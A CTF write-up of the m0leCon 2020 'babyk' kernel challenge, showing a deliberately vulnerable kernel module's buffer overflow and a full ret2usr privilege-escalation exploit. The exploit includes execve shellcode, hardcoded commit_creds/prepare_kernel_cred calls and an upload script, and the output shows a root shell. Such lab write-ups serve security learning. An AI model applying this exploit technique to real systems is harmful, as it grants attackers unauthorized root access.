Select Page

This is an introductory Linux kernel PWN challenge (217 pt, 20 solves). I did not solve it during the CTF.

I wanted to play a bit with, you know, modules and stuff…let me know if you liked it!
nc challs.m0lecon.it 9012
Author: @madt1m

There is a great tutorial on Linux kernel PWN challenges by @2019. This write-up from fibonHack also helped a lot on understanding this challenge.


We were given a zip file:

peilin@PWN:~/m0leconctf-2020/babyk$ unzip babyk.zip
Archive:  babyk.zip
  inflating: babyk.c
  inflating: bzImage
  inflating: initramfs.cpio
  inflating: start.sh

This is my first time solving a Linux kernel PWN challenge…What are we supposed to do with these files? Let’s first take a took at start.sh:

#!/bin/bash

random_string=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1)
real_hash=$(echo -n $random_string | md5sum | cut -d" " -f1)

echo "MD5 for $random_string if you may! "
read -t 15 computed_hash

if [ $? -ne 0 ] || [ $real_hash != $computed_hash ]; then
	echo "NOPE"
	exit 1
else
timeout --foreground 300 qemu-system-x86_64 \
	-m 64M \
	-kernel /home/pwn/bzImage \
	-nographic \
	-append "root=/dev/ram rw oops=panic panic=1 console=ttyS0 quiet nokaslr" \
	-initrd /home/pwn/initramfs.cpio \
	-monitor /dev/null
fi

When we do nc to the server, it will fire up QEMU with bzImage as kernel image, and initramfs.cpio as initial ramdisk (initrd):

peilin@PWN:~/m0leconctf-2020/babyk$ file bzImage
bzImage: Linux kernel x86 boot executable bzImage, version 5.5.13 (pete@pete-devlab) #2 Sun May 10 12:02:36 CEST 2020, RO-rootFS, swap_dev 0x1, Normal VGA
peilin@PWN:~/m0leconctf-2020/babyk$ file initramfs.cpio
initramfs.cpio: ASCII cpio archive (SVR4 with no CRC)

You can think of bzImage as the compressed version of the original kernel image, traditionally called vmlinux.vmlinux can be extracted from bzImage using this script:

peilin@PWN:~/m0leconctf-2020/babyk$ ./extract-vmlinux bzImage > vmlinux
peilin@PWN:~/m0leconctf-2020/babyk$ checksec vmlinux
[*] ‘/home/user/m0leconctf-2020/babyk/vmlinux’
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0xffffffff81000000)
    RWX:      Has RWX segments

Let’s see what’s inside initramfs.cpio:

peilin@PWN:~/m0leconctf-2020/babyk$ mkdir initrd
peilin@PWN:~/m0leconctf-2020/babyk$ cd initrd
peilin@PWN:~/m0leconctf-2020/babyk/initrd$ cpio -idv < ../initramfs.cpio

2365 blocks
peilin@PWN:~/m0leconctf-2020/babyk/initrd$ ls
bin  build_initramfs.sh  init  lib  root
peilin@PWN:~/m0leconctf-2020/babyk/initrd$
ls lib/modules/5.5.13/
babyk.ko
peilin@PWN:~/m0leconctf-2020/babyk/initrd$ root/
flag.txt

Interesting. babyk.ko is a loadable kernel module (LKM) which is supposed to be vulnerable. Our goal is to exploit the vulnerability, get a root shell, then read /root/flag.txt. Time to get down to business!


This time we were given the source code of the vulnerable module:

#include <linux/module.h>
#include <linux/moduleparam.h>
#include <linux/init.h>
#include <linux/kernel.h>   
#include <linux/proc_fs.h>
#include <asm/uaccess.h>
#define BUFSIZE  100

static int leetness=20;
module_param(leetness,int,0660);

static struct proc_dir_entry *ent;

static ssize_t babywrite(struct file *file, const char __user *ubuf, size_t count, loff_t *ppos) 
{
	int num, c, m;

	char buf[BUFSIZE];

	// if(*ppos > 0 || count > BUFSIZE)
		// return -EFAULT;

	if(raw_copy_from_user(buf, ubuf, count))
		return -EFAULT;

	num = sscanf(buf,"%d",&m);

	if(num != 1)
		return -EFAULT;

	leetness = m;

	c = strlen(buf);
	printk("LEETNESS SCORE: %d", leetness);

	*ppos = c;

	return c;
}

static ssize_t babyread(struct file *file, char __user *ubuf,size_t count, loff_t *ppos) 
{
	printk("READ NOT IMPLEMENTED YET");
	return 0;
}

static struct file_operations myops = 
{
	.owner = THIS_MODULE,
	.read = babyread,
	.write = babywrite,
};

static int baby_init(void)
{
	ent=proc_create("babydev",0660,NULL,&myops);
	printk(KERN_ALERT "Baby initialized!");
    return 0;
}

static void baby_cleanup(void)
{
	proc_remove(ent);
	printk(KERN_WARNING "BYE!");
}

module_init(baby_init);
module_exit(baby_cleanup);

There is a very obvious buffer overflow in babywrite() on line 23. At this point I don’t really understand the interface between the kernel and an LKM yet, but basically this module creates a device called babydev and registers some handlers to the kernel:

static struct file_operations myops = 
{
	.owner = THIS_MODULE,
	.read = babyread,
	.write = babywrite,
};

Whenever we write to babydev, babywrite() is called to handle it. Since it is not performing any bounds checking, let’s see what happens if we write a whole bunch of junk to it.

Well, first I’m gonna modify the Bash script for local debugging:

#!/bin/bash

qemu-system-x86_64 \
	-m 64M \
	-kernel /home/user/m0leconctf-2020/babyk/initrd/bzImage \
	-nographic \
	-append "root=/dev/ram rw oops=panic panic=1 console=ttyS0 quiet nokaslr" \
	-initrd /home/user/m0leconctf-2020/babyk/initrd/initramfs.cpio \
	-monitor /dev/null
peilin@PWN:~/m0leconctf-2020/babyk/initrd$ cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
peilin@PWN:~/m0leconctf-2020/babyk/initrd$ ./debug.sh
Spectre V2 : Spectre mitigation: kernel not compiled with retpoline; no mitigation available!
STARTING
adduser: warning: can’t lock ‘/etc/passwd’: Permission denied
addgroup: warning: can’t lock ‘/etc/group’: Permission denied
sh: can’t access tty; job control turned off
/ $ Baby initialized!
echo aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraa
asaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaa
bnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab > /proc/babydev
general protection fault: 0000 [#1] NOPTI
CPU: 0 PID: 1 Comm: sh Tainted: P           O      5.5.13 #2
RIP: 0010:0x6261616862616167
Code: Bad RIP value.
RSP: 0018:ffffc90000007e88 EFLAGS: 00000282

Kernel panic – not syncing: Fatal exception
Kernel Offset: disabled
Rebooting in 1 seconds..

Oh my, a kernel panic. Seems like we’ve overwritten the return address with our cyclic pattern. What’s the offset?

peilin@PWN:~/m0leconctf-2020/babyk/initrd$ cyclic –offset `echo 0x62616167 | xxd -r | rev`
124

Nice. Now it’s time to think about the exploit.


By the way, kernel ASLR (KASLR) is off (nokaslr), but user ASLR is on:

/ $ cat /proc/sys/kernel/randomize_va_space
2

So, what’s the plan? After triggering the buffer overflow in kernel space, we want to do commit_creds(prepare_kernel_cred(0)) to change the privilege of our current process to root. After that, we return to user space, get a shell, now with root privilege!

Note that commit_creds(prepare_kernel_cred(0)) is only effective to our current process (namely my exploit program), so we have to get another shell (maybe by execve()) while we still have the root privilege.


Here’s my exploit, exp.c and exp.S:

#define PROT_READ        0x1        /* Page can be read. */
#define PROT_WRITE       0x2        /* Page can be written. */
#define PROT_EXEC        0x4        /* Page can be executed. */

#define MAP_PRIVATE      0x02       /* Changes are private. */
#define MAP_FIXED        0x10       /* Interpret addr exactly.  */
#define MAP_ANONYMOUS    0x20       /* Don't use a file. */
#define MAP_GROWSDOWN	0x100      /* Stack-like segment. */

#define O_RDWR		   0x02       /* open for reading and writing */

#define OFFSET           124

#define SYS_WRITE   0x01
#define SYS_OPEN    0x02
#define SYS_MMAP    0x09

typedef unsigned long long u64;
typedef long long s64;

extern void kernel_shellcode();

/* http://shell-storm.org/shellcode/files/shellcode-806.php
 * execve("/bin/sh", ["/bin/sh"], NULL) */
char user_shellcode[] = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";

s64 syscall(int num, u64 a1, u64 a2, u64 a3, u64 a4, u64 a5, u64 a6)
{
	s64 ret;

    /* https://gcc.gnu.org/onlinedocs/gcc/Local-Register-Variables.html */
    register u64 r10 asm("r10") = a4;
    register u64 r8 asm("r8") = a5;
    register u64 r9 asm("r9") = a6;

	asm volatile("syscall\n"
		     : "=a" (ret)
		     : "a" (num),
		       "D" (a1),
		       "S" (a2),
		       "d" (a3),
		       "r" (r10),
		       "r" (r8),
               "r" (r9)
		     : "memory");
	return ret;
}

void *mmap(void *addr, u64 size, u64 prot, u64 flags)
{
    return (void *)syscall(SYS_MMAP, (u64)addr, size, prot, flags, 0, 0);
}

void mcpy(char *dst, char *src, u64 n)
{
    for (u64 i = 0; i < n; ++i)
        dst[i] = src[i];
}

int _start(int argc, char **argv) 
{
	char buf[0x1000];
	char *payload = buf;

    /* ret2usr */
	void *user_stack = mmap((void *)0xdead000, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC,  \
                            MAP_ANONYMOUS|MAP_FIXED|MAP_PRIVATE|MAP_GROWSDOWN);
	void *user_text  = mmap((void *)0xbeef000, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC,  \
                            MAP_ANONYMOUS|MAP_FIXED|MAP_PRIVATE);
	mcpy(user_text, (char *)&user_shellcode, sizeof(user_shellcode));
    
    /* buffer overflow payload */
	for (int i = 0;  i < OFFSET; i++)
		*(payload++) = 'A';
	*(u64 *)payload = (u64)kernel_shellcode;
    payload += 8;
	
    /* open /proc/babydev */
	int vuln_fd = syscall(SYS_OPEN, (u64)"/proc/babydev", O_RDWR, 0, 0, 0, 0);
	/* write our payload to it...PWN!*/
	syscall(SYS_WRITE, vuln_fd, (u64)buf, (payload - buf), 0, 0, 0);
	return 0;
}
.text
.intel_syntax noprefix

.global kernel_shellcode

kernel_shellcode:
    # commit_creds(prepare_kernel_cred(0))
    xor rdi, rdi
    mov rax, 0xffffffff81052a60 # cat /proc/kallsyms | grep prepare_kernel_cred
    call rax
    mov rdi, rax
    mov rax, 0xffffffff81052830 # cat /proc/kallsyms | grep commit_creds
    call rax
context_switch:
    swapgs
    push 0x2b       # ss
    push 0xdead000  # rsp
    push 0x202      # rflags
    push 0x33       # cs
    push 0xbeef000  # rip
    iretq

Compile with gcc exp.c exp.S -no-pie -nostdlib -fomit-frame-pointer -o exp. A few more thing to say about exp.S:

Recall that there’s no KASLR, so I just did cat /proc/kallsyms in QEMU and hardcoded the address of prepare_kernel_cred() and commit_creds() in my exploit.

Another thing is: How to set up the trapframe (namely from line 16 to 20 in exp.S)? For %ss, %rflags and %cs, I just made a breakpoint (see 2019’s tutorial for how to debug) before a syscall and copied them… For %rip, point it to our user_shellcode set up by mmap() in exp.c. We don’t really care about %rsp as long as there’s a writable page – However we don’t know where the “original” user stack is, since user ASLR is on. Therefore I simply set up a temporary stack page at fixed location myself (line 66 and 67 in exp.c).


The last question is how to send my exploit to the server. Since it doesn’t have GCC, I wrote a Python script to send my executable in base64, piece by piece:

from pwn import *
from hashlib import md5
from base64 import b64encode
import os

def send_exp(exp):
    SZ = 128
    for i in range(0, len(exp), SZ):
        chunk = exp[i: min(i + SZ, len(exp))]
        print(chunk.decode())
        cmd = "echo %s >> exp.base64" % chunk.decode()
        p.sendline(cmd)

if __name__ == "__main__":
    with open("./exp", "rb") as f:
        exp = b64encode(f.read())
    p = remote("challs.m0lecon.it", 9012)
    quiz = p.recvline().split(b" ")[2]
    success(quiz)
    p.sendline(md5(quiz).hexdigest())
    p.recvuntil("Baby initialized!")
    
    p.sendline("cd /home/user")
    send_exp(exp)
    p.sendline("cat exp.base64 | base64 -d  > exp")
    p.sendline("chmod +x exp")
    p.interactive()

Let’s see:

~ $ cat exp.base64 | base64 -d > exp
~ $ chmod +x exp
~ $ $ id
id
uid=1000(user) gid=1000(user) groups=1000(user)
~ $ $ ./exp
./exp
/bin/sh: can’t access tty; job control turned off
/home/user # $ id
id
uid=0(root) gid=0(root)
/home/user # $ cat /root/flag.txt
cat /root/flag.txt
ptm{y0ure_w3lc0m3_4_4ll_th15_k3rn3l_m3g4_fun}

Nice!